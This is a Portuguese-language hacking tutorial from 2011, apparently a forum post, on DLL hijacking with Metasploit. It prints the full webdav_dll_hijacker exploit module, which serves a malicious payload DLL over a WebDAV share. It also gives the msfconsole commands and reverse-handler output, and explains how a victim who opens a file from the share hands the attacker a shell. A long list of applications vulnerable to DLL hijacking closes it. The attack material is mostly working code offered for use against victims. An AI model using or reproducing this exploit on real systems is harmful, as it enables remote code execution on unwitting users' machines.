Autor : Ômar Fontenele a.k.a F0nt_Drk

Date : 06/03/2011

DLL Hijacking with Metasploit

É o seguinte, a técnica consiste em explorar a DLL vulneravel de algum programa e a exploitar .

Primeiro vamos ao nosso Metasploit :

```
user@root ~# msfconsole
```

Agora vamos criar uma DLL maliciosa similar a original da Aplicação . usando este exploit :

```
##
# $Id: webdav_dll_hijacker.rb 10101 2010-08-23 13:41:59Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
   Rank = ManualRanking

   #
   # This module acts as an HTTP server
   #
   include Msf::Exploit::Remote::HttpServer::HTML
   include Msf::Exploit::EXE

   def initialize(info = {})
      super(update_info(info,
         'Name'           => 'WebDAV Application DLL Hijacker',
         'Description'    => %q{
            This module presents a directory of file extensions that can lead to
         code execution when opened from the share. The default EXTENSIONS
option
         must be configured to specify a vulnerable application type.
         },
         'Author'       =>
            [
               'hdm',   # Module itself
               'jduck', # WebDAV implementation
               'jcran', # Exploit vectors
            ],
         'License'      => MSF_LICENSE,
         'Version'      => '$Revision: 10101 $',
         'References'   =>
            [
               ['URL', 'http://blog.zoller.lu/2010/08/cve-2010-xn-
loadlibrarygetprocaddress.html'],
               ['URL', 'http://www.acrossecurity.com/aspr/ASPR-2010-08-18-1-PUB.txt'],
            ],
         'DefaultOptions' =>
            {
               'EXITFUNC' => 'process',
            },
         'Payload'        =>
            {
               'Space'   => 2048,
            },
         'Platform'       => 'win',
         'Targets'        =>
            [
               [ 'Automatic',   { } ]
            ],
         'DisclosureDate' => 'Aug 18 2010',
         'DefaultTarget'  => 0))

      register_options(
         [
            OptPort.new(   'SRVPORT',       [ true, "The daemon port to listen on (do not change)", 80 ]),
            OptString.new(   'URIPATH',       [ true, "The URI to use (do not change).", "/" ]),
            OptString.new(   'BASENAME',       [ true, "The base name for the listed files.", "policy" ]),
            OptString.new(   'SHARENAME',    [ true, "The name of the top-level share.", "documents" ]),
            OptString.new(   'EXTENSIONS',    [ true, "The list of extensions to generate", "txt" ])
         ], self.class)

      deregister_options('SSL', 'SSLVersion') # WebDAV does not support SSL
   end


   def on_request_uri(cli, request)

      case request.method
      when 'OPTIONS'
         process_options(cli, request)
      when 'PROPFIND'
         process_propfind(cli, request)
      when 'GET'
         process_get(cli, request)
      else
         print_status("#{cli.peerhost}:#{cli.peerport} #{request.method} => 404 (#{request.uri})")
         resp = create_response(404, "Not Found")
         resp.body = ""
         resp['Content-Type'] = 'text/html'
         cli.send_response(resp)
      end
   end


   def process_get(cli, request)

      myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
      webdav = "\\\\#{myhost}\"
      if blacklisted_path?(request.uri)
         print_status("#{cli.peerhost}:#{cli.peerport} GET => 404 [BLACKLIST]
(#{request.uri})")
         resp = create_response(404, "Not Found")
         resp.body = ""
         cli.send_response(resp)
         return
      end

      if (request.uri =~ /\.(dll|dl|drv|cpl)$/i)
         print_status("#{cli.peerhost}:#{cli.peerport} GET => DLL Payload")
         return if ((p = regenerate_payload(cli)) == nil)
         data = Msf::Util::EXE.to_win32pe_dll(framework, p.encoded)
         send_response(cli, data, { 'Content-Type' => 'application/octet-stream'
})
         return
      end

      if (request.uri =~ /\.(...?)$/i)
         print_status("#{cli.peerhost}:#{cli.peerport} GET => DATA
(#{request.uri})")
         data = "HELLO!"
         send_response(cli, data, { 'Content-Type' => 'application/octet-stream'
})
         return
      end

      print_status("#{cli.peerhost}:#{cli.peerport} GET => REDIRECT
(#{request.uri})")
      resp = create_response(200, "OK")

      resp.body = %Q|<html><head><meta http-equiv="refresh"
content="0;URL=#{@exploit_unc}#{datastore['SHARENAME']}\"></head><body></body></
html>|

      resp['Content-Type'] = 'text/html'
      cli.send_response(resp)
   end

   #
   # OPTIONS requests sent by the WebDav Mini-Redirector
   #
   def process_options(cli, request)
      print_status("#{cli.peerhost}:#{cli.peerport} OPTIONS #{request.uri}")
      headers = {
         'MS-Author-Via' => 'DAV',
         'DASL'          => '<DAV:sql>',
         'DAV'           => '1, 2',
         'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY,
MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
         'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH,
LOCK, UNLOCK',
         'Cache-Control' => 'private'
      }
      resp = create_response(207, "Multi-Status")
      headers.each_pair {|k,v| resp[k] = v }
      resp.body = ""
      resp['Content-Type'] = 'text/xml'
      cli.send_response(resp)
   end
   #
   # PROPFIND requests sent by the WebDav Mini-Redirector
   #
   def process_propfind(cli, request)
      path = request.uri
      print_status("#{cli.peerhost}:#{cli.peerport} PROPFIND #{path}")
      body = ''

      my_host   = (datastore['SRVHOST'] == '0.0.0.0') ?
Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
      my_uri    = "http://#{my_host}/"

      if path !~ /\/$/

         if blacklisted_path?(path)
            print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 404
(#{path})"
            resp = create_response(404, "Not Found")
            resp.body = ""
            cli.send_response(resp)
            return
         end

         if path.index(".")
            print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 207 File
(#{path})"
            body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-
00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
            # send the response
            resp = create_response(207, "Multi-Status")
            resp.body = body
            resp['Content-Type'] = 'text/xml; charset="utf8"'
            cli.send_response(resp)
            return
         else
            print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 301
(#{path})"
            resp = create_response(301, "Moved")
            resp["Location"] = path + "/"
            resp['Content-Type'] = 'text/html'
            cli.send_response(resp)
            return
         end
      end

      print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 207 Directory
(#{path})"
      body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-
00aa00c14882/">
   <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
      <D:href>#{path}</D:href>
      <D:propstat>
         <D:prop>
            <lp1:resourcetype><D:collection/></lp1:resourcetype>
            <lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
            <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
            <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
            <D:supportedlock>
               <D:lockentry>
                  <D:lockscope><D:exclusive/></D:lockscope>
                  <D:locktype><D:write/></D:locktype>
               </D:lockentry>
               <D:lockentry>
                  <D:lockscope><D:shared/></D:lockscope>
                  <D:locktype><D:write/></D:locktype>
               </D:lockentry>
            </D:supportedlock>
            <D:lockdiscovery/>
            <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
         </D:prop>
      <D:status>HTTP/1.1 200 OK</D:status>
   </D:propstat>
</D:response>
|

      if request["Depth"].to_i > 0
         trail = path.split("/")
         trail.shift
         case trail.length
         when 0
            body << generate_shares(path)
         when 1
            body << generate_files(path)
         end
      else
         print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 207 Top-Level
Directory"
      end

      body << "</D:multistatus>"

      body.gsub!(/\t/, '')

      # send the response
      resp = create_response(207, "Multi-Status")
      resp.body = body
      resp['Content-Type'] = 'text/xml; charset="utf8"'
      cli.send_response(resp)
   end

   def generate_shares(path)
      share_name = datastore['SHARENAME']
%Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{share_name}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
   end

   def generate_files(path)
      trail = path.split("/")
      return "" if trail.length < 2

      base  = datastore['BASENAME']
      exts  = datastore['EXTENSIONS'].gsub(",", " ").split(/\s+/)
      files = ""
      exts.each do |ext|
         files << %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{base}.#{ext}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
```

```
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
      end

      files
   end

   def gen_timestamp(ttype=nil)
      ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
   end

   def gen_datestamp(ttype=nil)
      ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
   end

   # This method rejects requests that are known to break exploitation
   def blacklisted_path?(uri)
      return true if uri =~ /\.exe/i
      return true if uri =~ /\.(config|manifest)/i
      return true if uri =~ /desktop\.ini/i
      return true if uri =~ /lib.*\.dll/i
      return true if uri =~ /\.tmp$/i
      return true if uri =~ /(pcap|packet)\.dll/i
      false
   end

   def exploit

      myhost = (datastore['SRVHOST'] == '0.0.0.0') ?
Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']

      @exploit_unc  = "\\\\#{myhost}\"

      if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
         raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
      end

      print_status("")
      print_status("Exploit links are now available at
#{@exploit_unc}#{datastore['SHARENAME']}\")
      print_status("")

      super
   end
end
```

Depois iremos adiciona-lo no nosso Metasploit, - vide : http://www.forum.darkers.com.br/index.php?topic=12706.0 -

```
msf > use webdav_dll_hijacker
msf  exploit (webdav_dll_hijacker) > exploit
```

- Exploit running has background job
- Started Reverse Handler on xxx.xx.xx.xx:yy
- Exploit links are avaliable at \\xxx.xx.xx.xx\aaaaaa\
- Using URL: [url]http://0.0.0.0:00
-    Local IP: [url]http://xxx.xx.xx.xx/
- Server Started

```
msf exploit (webdav_dll_hijacker) >
```

Depois a vitima acessa o host, onde encontraram a aplicação referente ao programa que tera a DLL furada !
Ela o abrira -pode ser um slide do Power Point por exemplo- então voce tera uma shell em seu sistema .

Lista de Aplicativos Vuln :

```
ArchiCad 13.00  (srcsrv.dll) – SeyFellaH
Nokia Suite contentcopier  (wintab32.dll) – nuclear
Nokia Suite communicationcentre  (wintab32.dll) – nuclear
Sony Sound Forge Pro 10.0 (MtxParhVegasPreview.dll) – CCNA
Camtasia Studio 7  (mfc90enu.dll, mfc90loc.dll)  – p4r4n0id
Media Player Classic v1.3.2189.0  (ehtrace.dll) – Nishant Das Patnaik
Microsoft Help and Support Center  (wshfra.dll) – HxH
Microsoft Clip Book Viewer (mfaphook.dll) – Beenu Arora
Real Player 1.1.5 Build 12.0.0.879  (wnaspi32.dll) – v3n0m
SiSoftware Sandra  (dwmapi.dll) – ALPdaemon
SMPlayer v0.6.9 (wintab32.dll) – Alvaro Ovalle
Winmerge v2.12.4 (MFC71ESN.DLL) – Alvaro Ovalle
Steam Games (steamgamesupport.dll) – storm
UltraISO Premium 9.36 .isz (daemon.dll) – Mohamad Ramadan
wscript.exe (XP)  (wshfra.dll) – Mohamed Clay
Autodesk AutoCAD 2007  (color.dll) – xsploited securit.
Daemon tools lite .mds (mfc80loc.dll) – Mohamed Clay
Google Earth v5.1.3535.3218 .kmz  (quserex.dll) – LiquidWorm – Verified
Nullsoft Winamp 5.581 .cda  (wnaspi32.dll) – LiquidWorm – Verified
Media Player Classic 6.4.9.1  .mka (iacenc.dll) – LiquidWorm – Verified
Corel PHOTO-PAINT X3 v13.0.0.576 .cpt  (crlrib.dll) – LiquidWorm – Verified
CorelDRAW X3 v13.0.0.576 .cmx .csl  (crlrib.dll) – LiquidWorm
Adobe ExtendedScript Toolkit CS5 v3.5.0.52  (dwmapi.dll) – LiquidWorm
Adobe Extension Manager CS5 v5.0.298  (dwmapi.dll) – LiquidWorm
Mozilla Thunderbird  ( dwmapi.dll ) – h4ck3r#47
Microsoft Office PowerPoint 2007  (rpawinet.dll) – sToRm
Roxio MyDVD 9  (HomeUtils9.dll) – sToRm
Windows Internet Communication Settings  (schannel.dll) – ALPdaemon
Microsoft Windows Contacts  (wab32res.dll) – sToRm
Adobe InDesign CS4  (ibfs32.dll) – Glafkos Charalamb.
Cisco Packet Tracer 5.2  (wintab32.dll) – CCNA
Nvidia Driver  (nview.dll) – Encrypt3d.M!nd
Adobe Illustrator CS4  (aires.dll) – Glafkos Charalamb.
Adobe On Location CS4  (ibfs32.dll) – Glafkos Charalamb.
Adobe Premier Pro CS4  (ibfs32.dll) – Glafkos Charalamb.
Roxio Creator DE  (HomeUtils9.dll) – sToRm
Skype <= 4.2.0.169  (wab32.dll) – Glafkos Charalamb.
Mediaplayer Classic 1.3.2189.0  (iacenc.dll) – Encrypt3d.M!nd
TechSmith Snagit 10 (Build 788)  (dwmapi.dll) -     Encrypt3d.M!nd
Ettercap NG-0.7.3  (wpcap.dll) – Teo Manojlovic
Microsoft Group Convertor .grp (imm.dll) – Beenu Arora
Safari v5.0.1  (dwmapi.dll) – Secfence
```

```
Adobe Device Central CS5  (qtcf.dll) – Glafkos Charalamb.
Microsoft Internet Connection Signup Wizard  (smmscrpt.dll) – Beenu Arora
InterVideo WinDVD 5  (cpqdvd.dll) – Beenu Arora
Roxio Photosuite 9  (homeutils9.dll) – Beenu Arora
Microsoft Vista BitLocker Drive Encryption (fveapi.dll) – Beenu Arora
VLC Media Player  (wintab32.dll) – Secfence
uTorrent DLL Hijacking Vulnerabilities – Dr_IDE
TeamMate Audit Management Software Suite  (mfc71enu.dll) – Beenu Arora
Microsoft Office Groove 2007  (mso.dll) – Beenu Arora
Microsoft Address Book 6.00.2900.5512  (wab32res.dll) – Beenu Arora
Microsoft Visio 2003  (mfc71enu.dll) – Beenu Arora
avast! <= 5.0.594 license files  (mfc90loc.dll) – diwr
Adobe Photoshop CS2  (Wintab32.dll) – sToRm
Adobe Dreamweaver CS5 <= 11.0 build 4909  (mfc90loc.dll) – diwr
BS.Player <= 2.56 build 1043  (mfc71loc.dll) – diwr
Adobe Dreamweaver CS4  (ibfs32.dll) – Glafkos Charalamb.
TeamViewer <= 5.0.8703  (dwmapi.dll) – Glafkos Charalamb.
Microsoft Windows 7 wab.exe  (wab32res.dll) – TheLeader
Opera v10.61  (dwmapi.dll) – Nicolas Krassas
Microsoft Windows Movie Maker <= 2.6.4038.0  (hhctrl.ocx) -     TheLeader
Firefox <= 3.6.8  (dwmapi.dll) – Glafkos Charalamb.
Windows Live Email  (dwmapi.dll) – Nicolas Krassas
Foxit Reader <= 4.0 pdf Jailbreak Exploit – Jose Miguel Espar.
uTorrent <= 2.0.3  (plugin_dll.dll) – TheLeader
Microsoft Power Point 2010  (pptimpconv.dll) – TheLeader
Wireshark <= 1.2.10  (airpcap.dll) – TheLeader
Notepad++ (SciLexer.dll) – Drisky
Microsoft Power Point 2007 (pp4x322.dll) – monstream0
Microsoft Visio 2010 v14.0.4514.1004 (dwmapi.dll) – LiquidWorm
Microsoft Word 2007 (msapsspc.dll,schannel.dll, digest.dll, msnsspc.dll) –
Secfence
Microsoft Powerpoint 2007 (pp7x32.dll, pp4x322.dll, msapsspc.dll, schannel.dll,
digest.dll, msnsspc.dll) – Secfence
Tftpd32 version 3.35 (IPHLPAPI.DLL) – CCNA
Microsoft ATL Trace Tool Build 10.0.30319.1 atltracetool8.exe dwmapi
extention .trc – 0xjudd
Windows Live! Messenger (Build => 14.0.8117.416) msgsres.dll Hijacking –
xsploited security
Active Perl v5.12.1 (wshenu.dll) – Xss mAn & germaya_x
CATIA V5 R17 (hzs_lm.dll) – T.W.
Autodesk AutoCAD 2007 (color.dll) – xsploited security
Cool Edit Pro 2.0 (coolburn.dll) – Mi4night
GOM Player 2.1.25.5015 (schannel.dll) – Mi4night
MAGIX Music Studio 12 deluxe (playripla6.dll) – Mi4night
Opera 10.61 (dwmapi.dll) – Mi4night
TeamViewer 5 (dwmapi.dll) – Mi4night
Windows Address Book (wab32res.dll) – Mi4night
Java Version 6 Update 21 (schannel.dll) – Mi4night
Windows Progman Group Converter (imm.dll) – Mi4night
NetStumbler 0.4.0 (mfc71enu.dll)
Windows Mail 6.0.6000.16386 (wab32res.dll) – Fishy Fish
TeamViewer (TV.dll) – germaya_x pc
Wireshark <= 1.2.10 (libintl-8.dll) – Infolookup
Microsoft Windows Media Encoder 9 .prx (msxml.dll) – Venom23
Notepad++ V5.4.5 Dll Hijack (SpellChecker.dll) – 41.w4r10r
Windows 7 and Vista Backup Utility .wbcat (fveapi.dll) – Christian Heinrich
Virtual DJ 6.1.2 .mp3 hdjapi.dll – Classity
Atheros Client Utility dll Hijacking exploit (oemres.dll) – germaya_x
Internet download manager dll Hijacking exploit (idmmkb.dll) – germaya_x
Forensic Toolkit .ftk (MFC90DEU.DLL) – m1k3
EnCase .endump (rsaenh.dll) – m1k3
IBM Rational License Key Administrator .upd (IBFS32.DLL) – m1k3
```

```
PGP Desktop 9.8 .pgp (credssp.dll) – m1k3
Forensic CaseNotes .notes (credssp.dll) – m1k3
Microsoft RDP .rdp (ieframe.dll) – 41.w4r10r
pdf x viewer .pdf (wintab32.dll) – g3k
Ultr@ VNC Viewer .vnc (vnclang.dll) – g3k
Babylon v8.0.0.18 .txt (besextension.dll) – DataIran Security
QtWeb v3.3 .htm, .xml (wintab32.dll) – Prashant Uniyal
IZArc 4.1.2.2012 .rar .zip .jar (ztv7z.dll) – Anastasios Monachos
Jetaudio v7.1.8.4006 plus VX .mp3 mogg .mov and others (wnaspi32.dll) – DataIran
Security (NEO)
TechSmith Snagit v7.2.5 .snagprof (mfc71enu.dll) – hevnsnt
QXDM v03.09.19 (Qualcomm eXtensible Diagnostic Monitor) .isf (mfc71enu.dll) –
hevnsnt
SeaMonkey v2.0.6 .html .xml .txt .jpg (dwmapi.dll) – Anastasios Monachos
PGP Desktop v9.10.x-10.0.0 .p12 .pem .pgp and others (tsp.dll, tvttsp.dll) –
Aung Khant
NCP Secure Entry Client v.9.23.017 pcf, spd, wge, wgx (conman.dll,
dvccsabase002.dll, kmpapi32.dll, ncpmon2.dll) – Anastasios Monachos
NCP Secure Client – Juniper Edition v.9.23.017 pcf, spd, wge, wgx
(dvccsabase002.dll, conman.dll, kmpapi32.dll) – Anastasios Monachos
Microsoft Office Groove 2007 DLL Hijacking Exploit (grooveperfmon.dll) –
AmnPardaz Security Research Team
Kineti Count v1.0B .kcp (dwmapi.dll) – AntiSecurity
Fotobook Editor v5.0 .dtp (fwpuclnt.dll) – AntiSecurity
SWiSHmax .swi (swishmaxres.dll) – anT!-Tr0J4n
BifrsoT (Bifrsotsve.dll) – anT!-Tr0J4n
SnowFox Total Video Converter (dwmapi.dll) – anT!-Tr0J4n
agrin_free (wnaspi32.dll) – anT!-Tr0J4n
Sothink SWF Decompiler (dwmapi.dll) – anT!-Tr0J4n
SEasyOfficeRecovery (dwmapi.dll) – anT!-Tr0J4n
VideoCharge Studio .vsc (dwmapi.dll , quserex.dll) – anT!-Tr0J4n
Kaspersky Internet Security (cwheapgrd.dll) – anT!-Tr0J4n
SmartSniff (wpcap.dll) – anT!-Tr0J4n
DVD PixPlay (libhav-1.0.1.dll,libxpm-1.0.0.dll, libogg-2.1.0.dll, libgif-
1.1.0.dll) – anT!-Tr0J4n
yloader (dwmapi.dll) – anT!-Tr0J4n
ooVoo (dwmapi.dll) – anT!-Tr0J4n
VirIT eXplorer Lite (tg-scan.dll) – anT!-Tr0J4n
Nero Startsmart 6.3.1.26 .nr3 (neasl.dll) – fvox
Media Player Classic 1.3.1748.0 (vsfilter.lang) – fvox
Free 3GP Video Converter .3gp (quserex.dll) – Crazy_Hacker
lpksetup.exe .mic (oci.dll) – TurboBorland
BitTorrent 7.1 (msimg32.dll, psapi.dll, ws2_32.dll, ws2help.dll, lpk.dll,
usp10.dll, crypt32.dll, netapi32.dll, msi.dll, shfolder.dll, dnsapi.dll,
uxtheme.dll, clbcatq.dll, comres.dll, lphlpapi.dll, mprapi.dll, activeds.dll,
adsldpc.dll, atl.dll, rtutils.dll, samlib.dll, setupapi.dll, xpsp2res.dll) –
Salvatore Fresta
Nevercenter Silo v2.1.1 .sib (wintab32.dll) – LiquidWorm
Native Instruments Guitar Rig 4 Player v4.1.1 .nkm .nkp (libjack.dll) –
LiquidWorm
Native Instruments Reaktor 5 Player v5.5.1 .ens .ism .map .mdl (libjack.dll) –
LiquidWorm
Native Instruments Service Center 2.2.5 .naf (schannel.dll) – LiquidWorm
Native Instruments Kontakt 4 Player v4.1.3 .ncw .nki .nkm .nks (libjack.dll) –
LiquidWorm
```

Tentei ser o mais breve e conciso o possivel, indo também diretamente ao assunto .